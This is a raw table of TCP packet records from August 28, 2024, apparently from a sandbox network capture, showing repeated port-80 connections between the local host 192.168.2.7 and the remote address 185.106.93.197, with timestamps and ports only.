                                                                      Aug 28, 2024 11:20:39.030545950 CEST8060354185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.070245981 CEST8060353185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.139646053 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.144727945 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.145536900 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.145656109 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.150378942 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.379224062 CEST6035480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.384227991 CEST8060354185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.384269953 CEST8060354185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.455553055 CEST8060353185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.457537889 CEST6035380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.504195929 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.509126902 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.509136915 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.509145975 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.658154011 CEST8060354185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.707225084 CEST6035480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.786914110 CEST8060354185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.790702105 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.832258940 CEST6035480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.832262039 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.921297073 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.972855091 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.053849936 CEST6035480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.054064035 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.054266930 CEST6035680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.059528112 CEST8060354185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.059585094 CEST6035480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.059830904 CEST8060355185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.059876919 CEST6035580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.060086966 CEST8060356185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.060152054 CEST6035680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.060336113 CEST6035680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.065200090 CEST8060356185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.410645008 CEST6035680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.417026997 CEST8060356185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.417043924 CEST8060356185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.417056084 CEST8060356185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.691385984 CEST8060356185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.738492966 CEST6035680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.826893091 CEST8060356185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.881464005 CEST6035680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.969521046 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.974436045 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:40.974601030 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.974715948 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:40.980089903 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.332504034 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.337727070 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.337842941 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.337852001 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.673615932 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.723010063 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.807790995 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.847870111 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.925935984 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.926537037 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.931166887 CEST8060357185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.931242943 CEST6035780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.931782961 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:41.931839943 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.932535887 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:41.937376976 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.285496950 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.290774107 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.290787935 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.290802956 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.581399918 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.629127026 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.712850094 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.754133940 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.832340956 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.832617998 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.840543985 CEST8060358185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.840559959 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:42.840585947 CEST6035880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.840641975 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.840773106 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:42.848473072 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.191817045 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.196980000 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.197063923 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.197073936 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.491300106 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.539455891 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.626564980 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.678030968 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.750611067 CEST6035680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.750920057 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.753575087 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.757668972 CEST8060359185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.757731915 CEST6035980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.759363890 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:43.759457111 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.759521961 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:43.764445066 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:44.113841057 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:44.119301081 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:44.119421005 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:44.119430065 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:44.802560091 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:44.802643061 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:44.923660040 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.113634109 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.297595024 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.297727108 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.298145056 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.298222065 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.298461914 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.298542023 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.527240992 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.528865099 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.528877974 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.528887033 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.528990030 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.528990030 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.528991938 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.529042959 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.529057026 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.529090881 CEST8060360185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.529118061 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.531496048 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.531548023 CEST6036080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.533795118 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.536267042 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.538599968 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.879218102 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.879273891 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:45.884704113 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.884718895 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.884733915 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.885699987 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:45.885710001 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.177422047 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.222897053 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.269877911 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.281142950 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.316627026 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.332258940 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.402704000 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.413408995 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.418628931 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.632021904 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.632203102 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.637119055 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.637129068 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.637139082 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.857150078 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.915474892 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.984816074 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.984816074 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.984817982 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.989788055 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.989938974 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.990030050 CEST8060362185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.990065098 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.990108013 CEST6036280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.990704060 CEST8060361185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:46.990781069 CEST6036180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:46.994811058 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:47.348011017 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:47.353338003 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:47.353351116 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:47.353360891 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:47.668786049 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:47.723478079 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:47.798763990 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:47.847960949 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:47.929507971 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:47.934464931 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:47.934520006 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:47.934675932 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:47.939629078 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.285820007 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.290872097 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.290884972 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.291419029 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.564399958 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.612667084 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.697107077 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.738519907 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.817589998 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.817893028 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.822782993 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.822846889 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.822977066 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.823124886 CEST8060364185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:48.823168993 CEST6036480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:48.827904940 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:49.177943945 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:49.488534927 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.094746113 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.107000113 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.107306004 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.107351065 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.108967066 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.109059095 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.109136105 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.109333992 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.109344006 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.109595060 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.114075899 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.114084005 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.114239931 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.411747932 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.457294941 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.536376953 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.536571980 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.541362047 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.541428089 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.541538954 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.541551113 CEST8060365185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.541594982 CEST6036580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.546288967 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.969786882 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:50.974747896 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.974772930 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:50.974782944 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.181895971 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.241547108 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.316636086 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.365926027 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.411264896 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.411287069 CEST6036780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.416472912 CEST8060366185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.416497946 CEST8060367185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.417632103 CEST6036680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.417678118 CEST6036780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.417715073 CEST6036780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.422434092 CEST8060367185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.435883045 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.435887098 CEST6036780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.441457987 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.441601038 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.441831112 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.447067022 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.482194901 CEST8060367185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.801510096 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:51.806590080 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.806607008 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.806617022 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.862139940 CEST8060367185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:51.862191916 CEST6036780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.114131927 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.160427094 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.245201111 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.285419941 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.364790916 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.365044117 CEST6036980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.369903088 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.369966984 CEST6036980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.370062113 CEST6036980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.370553970 CEST8060368185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.370595932 CEST6036880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.374846935 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.675523996 CEST8060363185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.675630093 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.723074913 CEST6036980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:52.728146076 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.728158951 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:52.728167057 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.000122070 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.053510904 CEST6036980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.133114100 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.137514114 CEST6036980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.142750025 CEST8060369185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.145837069 CEST6036980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.246522903 CEST6036380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.253515959 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.258343935 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.258465052 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.258548975 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.263333082 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.613887072 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:53.618860960 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.618874073 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.618885040 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.892251968 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:53.941683054 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.022989988 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.066672087 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.143518925 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.143804073 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.148866892 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.148927927 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.148962021 CEST8060370185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.149008989 CEST6037080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.149115086 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.154354095 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.504343033 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.509394884 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.509407997 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.509418011 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.775863886 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.816745996 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:54.904527903 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:54.957367897 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.032633066 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.032634974 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.037513018 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.037658930 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.037733078 CEST8060371185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.037761927 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.041637897 CEST6037180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.042463064 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.397722006 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.402762890 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.402776003 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.402786970 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.730087042 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.785445929 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.862565994 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.910463095 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.992286921 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.992790937 CEST6037380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.997632027 CEST8060373185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.997698069 CEST6037380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.997795105 CEST8060372185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:55.997838974 CEST6037280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:55.997936010 CEST6037380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.002779961 CEST8060373185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.348043919 CEST6037380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.423856974 CEST8060373185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.423877954 CEST8060373185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.423933029 CEST8060373185.106.93.197192.168.2.7
